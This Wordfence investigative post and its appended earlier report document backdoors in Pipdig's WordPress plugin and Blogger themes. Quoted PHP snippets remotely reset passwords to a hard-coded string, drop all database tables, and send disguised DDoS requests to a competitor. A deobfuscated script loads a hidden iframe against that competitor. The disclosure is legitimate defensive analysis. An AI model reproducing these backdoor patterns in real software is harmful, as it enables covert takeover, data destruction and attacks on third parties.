Pipdig Update: Dishonest Denials, Erased Evidence, and Ongoing Offenses

In last week’s post, we reported on some concerning code identified in the Pipdig Power Pack (P3) plugin. The plugin, which is installed alongside WordPress themes sold by Pipdig, was found to contain a number of suspicious or malicious features. Among these features were a remote “killswitch” Pipdig could use to destroy sites, an obfuscated function used to change users’ passwords, and code which generated hourly requests with the apparent intent of DDoSing a competitor’s site.

In the days since we published that report, Pipdig has taken a series of increasingly questionable steps in their attempts to mitigate the fallout of their actions. Their team has issued baseless accusations that facts have been fabricated, collusion between their competitors had taken place, and that no wrongdoing of any sort had occurred.

These assertions stand in direct conflict with their actions. They’ve pulled down incriminating files from their sites, pushed undocumented updates to their plugins to remove additional malicious code, and have attempted to rewrite history by modifying dates of changelog entries. Then, perhaps most egregiously, Pipdig took down the Bitbucket repository containing a great deal of evidence of these actions. All of this had been done while an entire community of WordPress developers watched.

In today’s followup, we’ll use Pipdig’s official responses to recap their documented offenses. Then, we’ll discuss the timeline of events in the deployment and subsequent removal of Pipdig’s malicious code. After that, we’ll look at the evidence they’ve made efforts to destroy. Last, we’ll reveal new evidence that Pipdig’s suspected DDoS campaign against their competitor had still been active until April 1st, using Blogger themes.

Recap: Pipdig’s Words vs. Pipdig’s Code

In the uproar following the publication of their missteps, Pipdig released (and subsequently updated) a statement with the intent of dispelling the controversy. Unfortunately, instead of admitting fault and apologizing to their users, Pipdig leaned into a series of accusations and denials.

Let’s take a look at the individual points of these responses, and why each fails to help Pipdig’s cause. We’ll avoid using code samples in this section, though the Timeline section that follows will contain code as evidence.

Unauthenticated WordPress Database Deletion

In our report, we explained how a cron (scheduled process) built into the P3 plugin was effectively asking Pipdig’s server every hour for permission to destroy the database of the site it’s running on. Pipdig hasn’t denied that the code existed, but has attempted to “rebrand” the behavior in a number of ways.

In total, we’ve received three unique answers from Pipdig about this issue. We have yet to confirm which is actually authoritative. The answers, in the order Pipdig made them, are:

Answer 1: This was an anti-piracy feature but Pipdig never used it.
Source: Email response from Phil Clothier

On Thursday, March 28, we reached out to Pipdig’s team for comment on the first set of issues we had confirmed in their plugin. We quickly received a response from Phil Clothier, which among other statements contained the following:

Last year we had some serious problems after someone obtained a huge list of license keys and downloaded all of our products. The keys and files were then distributed on their file sharing site, which has since been taken down (not by us, ironically!). The drop tables function was put in place to try to try to stop this at the time. […] The function was never used.

Answer 2: It doesn’t destroy the database. It’s there to reset a site to defaults. We use it with permission from site owners.
Source: Pipdig’s public response, published March 29th.

Pipdig’s immediate public response told a different story. After claiming that the claims were “not based on reality”, Pipdig asserts that to “clear” database tables is similar behavior to what would be found in a backup plugin.

“contains a ‘kill switch’ which drops all database tables”

This is the most serious accusation of all, and not one which we take lightly. The portrayal of this feature is not based on reality. There is a function in the plugin which can be used to clear database tables, much like a backup or standard reset plugin. To confirm, we do not have the ability to “kill” a site, nor would we ever, ever want to do that! The function is in place to reset a site back to defaults, however it is only activated after being in touch with the site owner.

There are three problems in this short reply.

First a “default” WordPress site is no different than a destroyed one. The next visitor to the “defaulted” site would be prompted with a setup page and have the ability to install themselves as the administrator in the newly generated WordPress database.

Second, any honest plugin developer providing a legitimate means for a user to destroy their own database (whether that’s a good idea or not is a different story) would leave that choice strictly to the user. Instead of offering a user-facing button surrounded by “Are you sure you want to delete this entire database?” warnings, the P3 plugin silently asks their servers once every hour if the database should be vaporized.

Third, this answer conflicts with the previous one. Is this code for anti-piracy or for a “factory reset”? Has it ever been used or not?

Answer 3: It was an anti-piracy feature after all, we did use it, and it was effective.
Source: Pipdig’s amended response, updated March 31st.

To our great surprise, Pipdig followed up two days later by issuing a direct contradiction to an assertion made on the very same page.

Why did this function exist?

The function was available in the pipdig Power Pack in July last year, when a serious incident occurred:

A 3rd party was able to download all of our themes illegitimately and post them on a clone of our own site. This included previews of our themes and the ability to purchase them. We were first alerted to this by people which had purchased a pipdig theme from there, but were finding that certain features did not work correctly. After investigation, we found that the victim had purchased the theme from the 3rd party, thinking it was us. The 3rd party not only gained the financial benefit of the theme payment, but also used it as a way to inject malware and ads into the victim’s site. The reset function was put in place in order to remove the 3rd party’s ability to host preview sites with our themes. It worked, and they have since disappeared. The function was then removed in a later version of the plugin.

In their final response on the subject, Pipdig reverts to calling it an anti-piracy feature. They claim it was introduced in July 2018, following a case of stolen theme files and licenses, and that “It worked”. This claim, true or not, stands against Phil’s original statement in his email that the feature was never actually used. Furthermore, they end this statement with the line “The function was then removed in a later version of the plugin.”

The two statements regarding the timeline of these events stand out. First, their claim that the database deletion code was introduced in 2018 is false, which we’ll discuss in more detail in the “Timeline” section of this post. Next, they leave the statement “a later version of the plugin” ambiguous, likely to sidestep the fact that it was removed days prior, and only after they were contacted.

Overall though, despite the firestorm of controversy surrounding this database deletion feature, it remains one of the less-interesting chapters of this story. The code is dangerous, and Pipdig’s difficulty in explaining it is striking, but there are more serious concerns in play.

Unauthenticated Password Reset

Our first report additionally detailed code built to reset a user’s WordPress password. While their responses to this have been consistent, they haven’t exactly been satisfactory.

Do you have the ability to log in to any site using a pipdig theme without permission?

No. If we need to log in to provide assistance with an issue, we will ask for it in the support request. This is stored securely whilst the ticket is open and not shared with any 3rd parties.

A simple “No.” was the extent of their refutation to this claim. This is unfortunate, because the code recently deleted from their plugin strongly disagrees.

Suspected DDoS Against A Competitor

One of the larger points of contention in this story pertains to code generating suspicious requests which originally targeted a competitor’s site. Once per hour, this code fetched the contents of a file hosted by Pipdig, which contained a target address for a subsequent outgoing request from the affected site’s server. Until immediately after Pipdig was contacted, the file hosted by Pipdig contained the admin-ajax.php URL of one of their direct competitors’ WordPress sites.

“is using other blogger’s servers to perform a DDoS on a competitor”

This function is used to pass the theme’s license key to an external server, which then passes that data to our main site at pipdig.co. We use the Cloudflare CDN to make sure the data is sent securely and as quickly as possible regardless of where your site is hosted globally. This data includes what domain the theme is installed on, as well as a link to the “Author URL” from the theme’s readme.txt file. This is used to activate a theme’s license key.

In their response, Pipdig claims these requests were used to activate a theme’s license key. They reported that these requests contain data like the domain of the site and the Author URL field from their theme’s readme.txt file.

None of this statement aligns with the actual behavior of the code. First, neither of the issued requests (both to Pipdig’s server and second request to the target’s site) contain any meaningful data, much less a license key. Second, the claim that an Author URL is pulled from readme.txt for the second request is false.

We’re now looking into why this function is returning this url. However it seems to suggest that some of the “Author URLs” have been set to ‘kotrynabassdesign.com’. We don’t currently know why this is the case, or whether the site owner has intentionally changed this. The response should hit our site’s wp-admin/admin-ajax.php file under normal circumstances. On the surface it could mean that some pipdig themes have been renamed to other authors. We will be looking further into this issue and provide more information as it comes up. We can confirm that it won’t cause any issues for sites using pipdig themes, even if the author name/URL has been changed.

Further, Pipdig goes on to speculate that their competitor’s URL had somehow ended up replacing their own Author URI, which is why requests were directed to this competitor. This claim is baseless by itself, and the logic doesn’t hold up to scrutiny.

Pipdig doesn’t acknowledge that the competitor’s URL was actually retrieved from their own servers as opposed to any local source. They also don’t address how a license key would be validated by this code when no license is sent.

Moreover, assuming that this code actually pertained to a license checking feature, one would have to assume that their license checking would be broken entirely by the sudden removal of this code following the attention drawn to it. At the risk of editorializing, this seems unlikely.

Do you DDOS competitors?


Pipdig’s amended response to this claim was much simpler, and equally verifiable.

Further Miscellaneous Claims

Additional claims were offered in our post and those from other developers who picked up the story over time. For the sake of brevity, we won’t be detailing them all in this post. Suffice to say, the community has been left hungry for a more substantial response to their concerns.

Removal of Evidence

During the investigation it was revealed that Pipdig maintained a public Bitbucket repository. This repo contained the commit history of the P3 plugin going back to 2015. We cloned this repository to ensure we wouldn’t lose access as time went on, and saved snapshots of the relevant Bitbucket webpages for future citation.

Screenshot of P3’s commit history.

These efforts proved useful when, on March 31st, Pipdig removed this repository and later replaced it with a “clean” one.

A significantly lighter commit history replaced the previous one following Pipdig’s takedown.

To many, the removal of this source of evidence had changed the story significantly. Twitter users responded with uniform disbelief when this had taken place.

When compared to other examples of concealed evidence, like their lack of a disclosure in changelogs and improper versioning, this action was notably suspicious.

One other change stands out, and while it’s less directly nefarious, it still draws a lot of questions about Pipdig’s goals. The new, “clean” repository features a curious difference in its changelog.

Screenshot of P3’s new changelog, which shows 4.8.0’s release date as March 24th.

This version of the changelog claims version 4.8.0 was released on March 24th. However, commits from the actual repository showed that 4.7.1 was released on that date. In reality, it wasn’t until the March 29th that Pipdig’s first release of 4.8.0 was deployed.

We can only speculate regarding Pipdig’s motives in changing this date. Either way, it should be assumed that someone investigating malicious activity would notice a change like this.

Timeline of Events

In this section, we’ll give a step-by-step rundown of when certain actions were taken before and after the discovery of Pipdig’s behavior. Where necessary, this will include code samples and archive links as supporting citations. This won’t be exhaustive, especially in cases where many edits were made to individual lines of code over time, but should offer an authoritative and verifiable history of how the story unfolded.

In light of the fact that Pipdig has been witnessed attempting to conceal evidence of these issues, we have backed up some of our sources through third-party means. These services are known to be trustworthy in their space, and can serve as documentation that these claims are true. When available, we will provide alternate links to these sources in addition to their original location. Additionally, instances of code added and removed from the P3 plugin are supported by the hash of the relevant commit to the plugin’s git repository.

November 7, 2017 – First instance of database drop code
Git Commit: edc47824200e15d64cab7270debc4a0526a8d323
Public Changeset: Original Link | Archived Page
Notes: The database deletion feature in P3 was originally added in this commit, not in July 2018 as Pipdig stated in their public response.

Screenshot showing the added lines of code responsible for database deletion.

June 21, 2018 – First instance of suspected DDoS code
Git Commit:
Public Changeset: Taken down by Pipdig before discovery.
Notes: This first instance of code making potential DDoS requests was added here. With comments and a remote path suggesting licensing checks, the inclusion of a spoofed User-Agent string and a lack of any license data in the outbound requeststrongly suggests malicious intent.

Screenshot of the added code in this changeset responsible for suspected DDoS behavior.

September 18, 2018 – First instance of password reset code
Git Commit:
Public Changeset: Original Link | Archived Page
Notes: Both inc/functions.php and inc/cron.php were modified as part of this addition. Interestingly, minor edits were also made to the suspected DDoS script during this commit as well.

Screenshot of the diffset showing the addition of Pipdig’s password reset code.

The next several months following the first inclusion of the password reset code featured a number of tweaks and changes. However, for the purposes of this report we’re going to jump ahead to just before the Pipdig story broke publicly.

March 25, 2019 – Most recent code updates to password reset and database deletion features
Git Commits:
Public Changeset: Taken down by Pipdig before discovery
Archival Note: While we were unable to archive the changeset of this commit before Pipdig took down the repository, we did archive an annotation of inc/cron.php which corroborates this statement. You can use the Find feature of your browser to search for the shortened commit tags 3896a43 and ac66fc1 to see the exact lines modified in this file.
Notes: Much of Pipdig’s messaging regarding their malicious code has suggested it was all old and defunct. If there was no intent for these to be used, why would they be making code improvements to these features less than a week prior?

Screenshot of a very recent set of changes made to Pipdig’s database deletion and password reset features.

March 27, 2019 – Wordfence notified of issues in P3 plugin

It was right around here that things started picking up speed, so we’ll be adding timestamps moving forward. Times are in PDT (GMT -7).

March 28, 2019

12:29 PM – Reached out to Pipdig for comment via email

2:19 PM – Received response from Phil

2:30 PM – Most offending code removed from plugin
Git Commit: d1f803ec4b40c9163a73f9f08e534051a8a9dec4
Public Changeset: Original Link | Archived Page
Notes: This release was tagged as version 4.8.0 when it went live. It still contained the inc/functions.php code responsible for the password reset feature, though the call to it was removed, leaving it orphaned. We mentioned this orphaned function in our original post.

Screenshot showing swaths of malicious code stripped from the plugin.

March 29, 2019

9:40 AM – Wordfence releases Pipdig report

11:09 AM – Orphaned password reset code removed from plugin
Git Commit: 394e9a3293a45eedc32e512ea6680dd4a94107c8
Public Changeset: Original Link | Archived Page
Notes: The orphaned password reset code was removed less than two hours after we reminded Pipdig it existed. This commit was also tagged version 4.8.0 on release, in an apparent effort to conceal the removal of this code.

Screenshot showing the removal of the orphaned p3_check_social_links function.

12:04 PM – @jemjabella releases Pipdig report
Link: https://www.jemjabella.co.uk/2019/security-alert-pipdig-insecure-ddosing-competitors/
Notes: Jem’s investigation had been running in parallel to our own, which we learned upon release of her report. Jem confirmed with Pipdig’s competitor that a harmful amount of incoming traffic had been hitting various admin resources on their site, strengthening allegations of DDoS activity. Jem’s active social following spread this report very quickly.

2:24 PM – Pipdig issues first response

March 31, 2019

4:05 AM – Pipdig issues updated response

12:40-2:19 PM – Pipdig takes down public Bitbucket repository containing incriminating code
At some point in this timeframe, Pipdig removed the public Bitbucket repository used by investigators to find specific evidence of their activity. Fortunately for the investigation, snapshots of several incriminating pages had already been taken, and the git repository itself had been cloned.

Bitbucket’s 404 page. If you tried clicking any of the original links, you’ve already seen this.

New Evidence Suggests DDoS Behavior In Pipdig’s Blogger Themes

During the investigation of Pipdig’s WordPress plugin and themes, we also came across some curious code associated with their Blogger themes. This code is part of Pipdig’s suspected DDoS campaign against their competitor, and was active until April 1, four days after Pipdig’s denial of any such behavior.

Some of Pipdig’s Blogger themes have been confirmed to make external JavaScript calls to Pipdig’s server, specifically to the script hXXps://pipdigz[.]co[.]uk/js/zeplin1.js.

Screenshot showing calls to zeplin1.js in the live source of a site using one of Pipdig’s Blogger themes.

This file contained two lines of obfuscated JavaScript code. That is, code written so humans can’t read it.

Example of obfuscated JavaScript found in Pipdig’s zeplin1.js file.

When the second line of this code is deobfuscated and made readable, we get the following:

Deobfuscated contents of line 2 of zeplin1.js. Target domain partially redacted.

Here’s a quick breakdown of what this code is up to.

The code is executed in the browser of the users visiting sites using Pipdig’s themes. This takes place on every page load where zeplin1.js is sourced from Pipdig.

First, Pipdig creates an iframe element in the visitor’s browser. Then it generates some random numbers, and selects a random WordPress endpoint from the following list:

  • /wp-json/oembed/1.0/embed
  • /wp-json/oembed/
  • /wp-json/oembed/1.0/
  • /wp-json/
  • /wp-json/{random number}/
  • /xmlrpc.php
  • /wp-admin/admin-ajax.php

Next, it sets the actual target address value: hXXps://nullrefer[.]com/?hXXps://www.{competitor's domain}[.]com/{random endpoint}. For those unfamiliar, NullRefer is a service used to strip the referrer data out of requests to the second link in the path. What this means, is Pipdig uses NullRefer to hide the actual source page of the requests to their competitor’s site. This is understandable, because all of these referrers would be sites running Pipdig’s themes.

Finally, the rest of the JavaScript is used to take the iframe all of this happens in, and makes it invisible before actually loading it.

To clarify, every time a visitor reaches any site running a Blogger theme from Pipdig using this script, their browser would fire an additional request to their competitor’s site. This request hides where it came from, hits a literally randomized file on the competitor’s server, and does nothing with the data. This behavior is hidden not only from the visitors to these sites, but to the owners of these sites as well.

Supporting Evidence

Pipdig has made additional efforts to hide evidence of this behavior from zeplin1.js . On April 1, Pipdig removed the second line from this script on their servers. Luckily, we had assembled a number of authoritative copies proving it was present. This was made easier due to the great number of Internet Archive snapshots available of the script. Because references to it appear on a great deal of sites running Pipdig’s code, the archive’s crawlers come across it fairly often.

The first known instance of suspected DDoS code appearing in zeplin1.js was archived on January 31, 2019. An archival of the file on this date can be found on the Internet Archive. Interestingly, the code wouldn’t actually work in this first incarnation of the script – they forgot the .com in their competitor’s domain name. This was fixed shortly afterward.

Edits to this script came and went in the following weeks. Sometimes, the code was removed. Other times, a different competitor’s domain showed up. However, the most recent time the originally reported competitor’s domain was added suggests that Pipdig was still undergoing suspicious behavior even after they had been called out on it.

  • On March 13, the suspected DDoS code was present. Archive Link
    • Note on this snapshot, the target was a different site than the commonly reported competitor.
  • On March 31, the code was NOT present. Archive Link
  • On April 1, the code WAS present. Archive Link
  • On a later snapshot from April 1, the code had been removed. Archive Link

In the event that Pipdig has this evidence taken down as well, we have made additional verifiable copies of this code through other trusted third parties.

It is unclear at this time whether Pipdig thought this behavior would go unnoticed, though their addition and subsequent removal of this incriminating code at a time when they were under close scrutiny is highly suspicious.

Pipdig Avoids Acknowledging Wordfence

It’s worth noting that in all of Pipdig’s communications regarding this story, Pipdig has pointed the finger at @jemjabella’s article and the claims within. When making baseless legal threats and claims of collusion, it’s understandable why they wouldn’t want to draw attention to the security company who has a clear reputation in this space.

We’ve made further attempts to reach Pipdig regarding this case. We had additional questions following the first response that weren’t answered, and further questions over data that popped up later. Pipdig, unsurprisingly, has provided no response.

Our Recommendation

The single exception to Pipdig’s unwillingness to bring up Wordfence can be found in today’s post on The Register. In their response, they cite our article from last week to back up their claims that the new version of the plugin is safe. In light of Pipdig’s behavior in responding to these issues, and their demonstrated continued abuse of their users and their users’ visitors, we have amended our original recommendation.

Wordfence recommends removing all Pipdig content from your sites, both WordPress and Blogger. Pipdig has demonstrated a willingness to abuse users’ resources to execute unethical, and potentially illegal, activity. Furthermore their repeated denial of solid evidence, and subsequent attempts to conceal it, leave us unable to trust them in the future.


We’ve deployed a malware signature, Backdoor:PHP/pipdigPasswordReset, which has already alerted hundreds of Wordfence users to the danger present in the P3 plugin. P3 users will also be receiving Wordfence dashboard notifications alerting them to our reports on these issues, if they haven’t received them already.

Pipdig’s repeated, documented activity in creating this malicious code is a major problem they needed to answer for. However, the rest of the story would have unfolded much differently had they just admitted wrongdoing from the start. Instead, they’ve shattered the trust of their users by trying to pull the wool over their eyes, and drew the ire of the WordPress community in their attempts to discredit these claims.

The post Pipdig Update: Dishonest Denials, Erased Evidence, and Ongoing Offenses appeared first on Wordfence.

Read More

Peculiar PHP Present In Popular Pipdig Power Pack (P3) Plugin

This week, our team was notified of suspicious code present in a plugin offered alongside themes sold by Pipdig, a UK-based web development team. The user, who wishes to remain anonymous, reached out to us with concerns that the plugin’s developer can grant themselves administrative access to sites using the plugin, or even delete affected sites’ database content remotely. We have since confirmed that the plugin, Pipdig Power Pack (or P3), contains code which has been obfuscated with misleading variable names, function names, and comments in order to hide these capabilities.

We reached out to the Pipdig team with questions about these issues, and within hours a new version of P3 was released with much of the suspicious code removed. Pipdig Power Pack versions up to 4.7.3 contain the backdoor code, which has been removed as of version 4.8.0, at least at the time of this writing. No concrete data is available regarding the exact install base of the P3 plugin, though queries against services like PublicWWW and Censys suggest an install base of 10,000-15,000 sites.

Sites running Pipdig’s software should ensure they’ve updated to the latest version of P3. While we’re stopping short of recommending removing the software, serious consideration should be given on whether to treat Pipdig as a trustworthy vendor going forward. Given the dubious nature of the code present in the previous version and obvious efforts to obscure it, Pipdig’s intentions remain unclear.

Due to the nature of these backdoors, which make remote calls to Pipdig’s servers as opposed to listening for incoming requests, an inbound firewall rule cannot prevent these actions. In an effort to protect Wordfence users, we will be issuing WordPress dashboard notifications to our users with the P3 plugin active. Systems administrators interested in checking their filesystems should look for the plugin slug p3.

In today’s post, we’ll take a look under the hood of the P3 plugin to see what the developers added and how it can affect your site. Then we’ll discuss Pipdig’s response, as well as the importance of developer trust–especially in the unmoderated ecosystem of commercial WordPress plugins and themes.

Unauthenticated Password Reset (To A Hard-Coded String)

The first item we’ll look at is the plugin’s ability to reset the password of any user on an affected site.

// Check for new social channels to add to navbar etc
if (!get_transient('p3_news_new_user_wait')) {
$url = 'hXXps://pipdigz[.]co[.]uk/p3/socialz.txt';
$args = array('timeout' => 4);
$response = wp_safe_remote_get($url, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	if (email_exists(sanitize_email($response['body']))) {
		wp_safe_remote_get('hXXps://pipdigz[.]co[.]uk/p3/socialz.php?list='.rawurldecode($me), $args);

In the snippet above, taken from lines 88-99 of the file inc/cron.php, we see code ostensibly intended to “check for new social channels” according to the preceding comment. This code is present in a function associated with an hourly WordPress cron event, so it will attempt to run once per hour.

First, the plugin checks for a database transient called p3_news_new_user_wait.  This is a transient set on initial activation, which will remain present for three weeks after being initially set. Thus, if a site has been running the plugin for longer than three weeks, the code block above will run when the hourly cron triggers.

Next, the plugin makes a wp_safe_remote_get() call to hXXps://pipdigz[.]co[.]uk/p3/socialz.txt. If the response from that URL is an email address, the function p3_check_social_links() is run on that email address, after which the plugin sends another request to a different pipdigz[.]co[.]uk address containing the site’s domain (as the variable $me, defined elsewhere). The socials.txt file on Pipdig’s server did not contain any content when tested during the course of this investigation.

Despite the innocuous name, however, p3_check_social_links() has nothing to do with social media.

function p3_safe_styles($styles) {
	$styles[] = 'display'; // For Google Adsense ad widget
	$styles[] = 'text-transform';
	return $styles;
function p3_check_social_links($link_style) {
	wp_set_password('p3_safe_styles', $link_style);

The function is defined in inc/functions.php, and continues its misleading behavior. It’s located immediately after the definition of another function, p3_safe_styles(), and at a glance seems to make use of it. However, its presence in line 195 is as a string, not a function. In reality, p3_check_social_links() simply changes the password of a given user to the hard-coded string “p3_safe_styles”.

What this means is that if Pipdig were inclined, they could gain administrative access to a site just by knowing the email address of an administrator account. They’d update the socialz.txt file on their end to contain the email in question, wait an hour for the cron to trigger again, and log in to the account with the password “p3_safe_styles”.

The cron event responsible for calling the password reset function has been removed as of version 4.8.0, though the p3_check_social_links() function with the hardcoded password is still present as orphaned code.

Unauthenticated Database Deletion

Following the password reset, the very next lines of code in inc/cron.php contain further concerning behavior: the ability to delete a site’s entire WordPress database remotely.

$url_2 = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0.txt';
$response = wp_safe_remote_get($url_2, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	if ($me === trim($response['body'])) {
		global $wpdb;
		$prefix = str_replace('_', '\_', $wpdb->prefix);
		$tables = $wpdb->get_col("SHOW TABLES LIKE '{$prefix}%'");
		foreach ($tables as $table) {
			$wpdb->query("DROP TABLE $table");

In this snippet, we see the plugin making a wp_safe_remote_get() call to hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0.txt. Then, it compares the response to $me, which still refers to the WordPress site’s URL. If id39dqm3c0.txt contains the site’s URL, the plugin will enumerate and individually drop every database table associated with the site. This check, like the password reset above, is made hourly when the cron is triggered.

To clarify, the Pipdig team can remotely destroy a WordPress site using the P3 plugin by storing its site_url on their server as id39dqm3c0.txt, then waiting an hour and triggering the cron. We did not detect any activity in this file during our investigation.

The database deletion functionality has been removed as of version 4.8.0.

Unusual Scheduled Remote Calls

Pipdig’s plugin, in addition to the more obvious examples, includes some remote calls in its cron events that raise questions of original intent.

The following snippet is present in a daily cron found in inc/cron.php:

// Clear CDN cache
$url = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0_license.txt';
$response = wp_safe_remote_get($url, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	$rcd = trim($response['body']);
	//$check = add_query_arg('n', rand(0,99999), $rcd);
	wp_safe_remote_get($rcd.'&'.rand(0,99999), $args);

This code is nearly identical to another snippet from the same file, associated with an hourly cron event:

// Check CDN cache
$url_3 = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0_license_h.txt';
$response = wp_safe_remote_get($url_3, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	$rcd = trim($response['body']);
	$args = array('timeout' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'reject_unsafe_urls' => true, 'blocking' => false, 'sslverify' => false);
	//$check = add_query_arg('n', rand(0,99999), $rcd);
	wp_safe_remote_get($rcd.'&'.rand(0,99999), $args);

Both of these events include comments suggesting the code has to do with a CDN cache. This does not appear to be the case.

In both examples, the plugin first makes a call to a text file on Pipdig’s server. The text files each contain a new URL, which the plugin makes a subsequent request to. This second request includes a query string with a random numeral between 0 and 99999, and in the case of the hourly event, a spoofed User-Agent string intended to make the request appear as though it was generated by Google Chrome on a Windows 10 machine.

During our initial review of the P3 plugin, we tested the two Pipdig URLs to see where these daily and hourly requests were eventually ending up. The address queried in the daily event returned a target URL of hXXps://[redacted].com/wp-cron.php, and the hourly lookup returned hXXps://[redacted].com/wp-admin/admin-ajax.php. The contents of these files were emptied shortly after we contacted Pipdig, though response codes indicate the files themselves still exist.

It is unclear at this time why Pipdig was directing sites with their plugin to send these requests to a third party site. It’s also not obvious why one of the requests falsely reports the User-Agent of the request.

The code responsible for these remote requests has been removed as of version 4.8.0.

Update – 14:05 PDT, March 29 2019

We recently became aware of another investigation which had apparently been running in parallel to our own. In a post today, WordPresser Jem “Jemjabella” Turner detailed similar issues, but had gone a bit further in regards to these remote requests.

The post, which can be found here, confirms our initial suspicions that these requests were attempts to issue a DDoS against one of Pipdig’s competitors. In a response, shared in Jem’s blog, the target reported the following:

“I actually had huge trouble with my web host and they explained that my admin-ajax.php file was under some kind of attack [..] I can confirm that I have never given pipdig any permissions to make requests to my servers. Nor was I ever in a partnership or any sort of contact with them.”

This confirmation makes it much clearer why random numerals were appended to the target URLs: it was in an attempt to bypass CDNs and other caches. It also clears up why the hourly requests made use of spoofed User-Agent strings.

Update – 18:20 PDT, March 29 2019

At the request of the competitor who was targeted in these attacks, we have removed references to their name and domain from this post. We did not intend to cause them stress in reporting these issues.

Undisclosed Content and Configuration Rewrites

Changing focus from security concerns to questionable dev practices, we see Pipdig Power Pack quietly making changes to site content.

A screenshot of a Gutenberg post draft asking “Have you used Blogerize?”

Firstly, the plugin includes a content filter that automatically replaces references to Blogerize, a service which claims to be a beginner’s blogging course, with references to Pipdig’s own services.

function p3_content_filter($content) {
	if (get_transient('p3_news_new_user_wait')) {
		return $content;
	} elseif (is_single()) {
		$content = str_replace('bloger'.'ize[.]com', 'pipdig[.]co/shop/blogger-to-wordpress-m'.'igration/" data-scope="', $content);
		$content = str_replace('Blog'.'erize', 'Blog'.'ger to WordPress', $content);
	return $content;
add_filter('the_content', 'p3_content_filter', 20);

The p3_content_filter() function, present in inc/functions.php, performs the swap. It begins by checking if the p3_news_new_user_wait transient is set, which you may recall from earlier is present for three weeks on new installs. Once three weeks is up the filter runs on any viewed posts, replacing the string Blogerize with Blogger to WordPress, and any instances of the domain blogerize.com are replaced with pipdig[.]co/shop/blogger-to-wordpress-migration/" data-scope=".

Not only does this occur silently in the background, but users who encounter the issue may find it difficult to identify the cause due to the obfuscation employed by the plugin’s developer. The strings used, both originals and their replacements, are broken up in the code and concatenated by PHP. For example, searching for blogerize[.]com in your site’s filesystem wouldn’t catch the plugin’s use of 'bloger'.'ize[.]com'.

The final rendered result of the content filter, which now asks “Have you used Blogger to WordPress?”

Cursory searches reveal at least three live sites with content affected by this filter, all blog posts discussing Blogerize’s services, where links and brand references are all replaced with Pipdig’s content.

In addition to this content filtering, P3 makes some plugin-related decisions for its users that they aren’t made aware of.

function pipdig_p3_activate() {

	add_option('pipdig_id', sanitize_text_field(substr(str_shuffle(MD5(microtime())), 0, 10)));

	update_option('link_manager_enabled', 0);
	update_option('antispam_dismiss_notice', 'true');
	update_option('endurance_cache_level', 0);

	$plugins = array(

In the plugin’s activation hook, found in p3.php, a number of plugins are immediately deactivated if present. No reason is given for this action. The following plugins are all deactivated when P3 is activated:

  • 10Web Instagram Feed – Instagram Gallery (wd-instagram-feed)
  • Instagram Slider Widget (instagram-slider-widget)
  • Categories Images (categories-images)
  • Mojo Marketplace (mojo-marketplace-wp-pluginmojo-marketplace-hg)
  • Autoptimize (autoptimize)
  • Heartbeat Control (heartbeat-control)
  • Instagram Slider Widget (instagram-slider-widget)
  • Vafpress (vafpress-post-formats-ui-develop)
  • Advanced Excerpt (advanced-excerpt)
  • Force Regenerate Thumbnails (force-regenerate-thumbnails)
  • JCH Optimize (jch-optimize)
  • Clef (wpclef)
  • WPtouch (wptouch)
  • Hello Dolly (hello-dolly)
  • Theme Test Drive (theme-test-drive)

Many of these plugins are very popular, with more than a hundred thousand installs. Other than certain exceptions like Hello Dolly (which certainly isn’t mission critical) and Clef (which is defunct), users may rely on these plugins and having them quietly deactivated could certainly cause headaches.

Later in the same file, another batch of plugins are listed and deactivated. This time the call is made alongside admin_init, so even if a user reactivates one it won’t stick. At least in this case, comments are made on some of the plugins in an attempt to explain why each is disallowed. Still, users are left unaware that this deactivation is even taking place unless they’re watching for it.

// Don't allow some plugins. Sorry not sorry.
function p3_trust_me_you_dont_want_this() {
	$plugins = array(
		'query-strings-remover/query-strings-remover.php', // Stop removing query strings. They're an important part of WP and keeping the site working correctly with caching.
		'scripts-to-footer/scripts-to-footer.php', // Scripts must also be located in the <head> so the widgets can render correctly.
		'contact-widgets/contact-widgets.php', // Font awesome 5 breaks other icons
		'theme-check/theme-check.php', // our themes aren't designed for the w.org repo
		'wp-support/index.php' // malware?
add_action('admin_init', 'p3_trust_me_you_dont_want_this');

The following plugins are deactivated in this set:

  • Query Strings Remover (query-strings-remover)
  • Remove Query Strings From Static Resources (remove-query-strings-from-static-resources)
  • Scripts To Footer (scripts-to-footer)
    • Note: The slug on the WordPress.org plugin repository for Scripts To Footer is actually scripts-to-footerphp, so this one won’t actually deactivate.
  • Fast Velocity Minify (fast-velocity-minify)
  • Contact Widgets (contact-widgets)
  • Theme Check (theme-check)
  • WP Support (wp-support)

Whether or not the given reasons for deactivating these plugins are legitimate, it’s at best questionable practice to make these sorts of changes on behalf of your users without their knowledge.

These content and configuration changes have not been removed from Pipdig Power Pack, and are still present as of version 4.8.0.

Response From Pipdig

Once we became aware of these issues, and confirmed them internally, we reached out to Pipdig for comments on some of our concerns.

In response to our questions about the plugin’s database deletion feature, Pipdig’s Creative Director Phil Clothier said the following:

“Last year we had some serious problems after someone obtained a huge list of license keys and downloaded all of our products. The keys and files were then distributed on their file sharing site, which has since been taken down (not by us, ironically!). The drop tables function was put in place to try to stop this at the time.”

Clothier claimed P3’s users were notified at the time when this functionality was introduced, though there doesn’t appear to be any remaining mention of it in the company’s documentation or terms of service. No mention of any of these capabilities had been made during the process of purchasing and activating a Pipdig theme and the P3 plugin.

Our questions about the plugin’s password reset feature, as well as our concerns about the misleading coding conventions used to obfuscate these behaviors, were not acknowledged by Pipdig in their response.

No Mention In The Patch

When we were initially made aware of these issues earlier this week, the latest available version of P3 was 4.7.3. After our contact with Pipdig, 4.8.0 was released. However, the changelog present in 4.8.0 made no mention of 4.7.3 at all.

Screenshot of the diffset comparing P3’s readme.txt file between 4.7.3 and 4.8.0.

In fact, when looking at the diffset between 4.7.3’s readme file and the one in 4.8.0, you can see that the only change was to increment the version number and date of the preexisting changes for 4.7.3. No mention at all is made of the removal of two backdoors and other suspicious code. Since these were the main changes in the new version, it would be difficult to add a standalone entry for 4.8.0 without mentioning them.

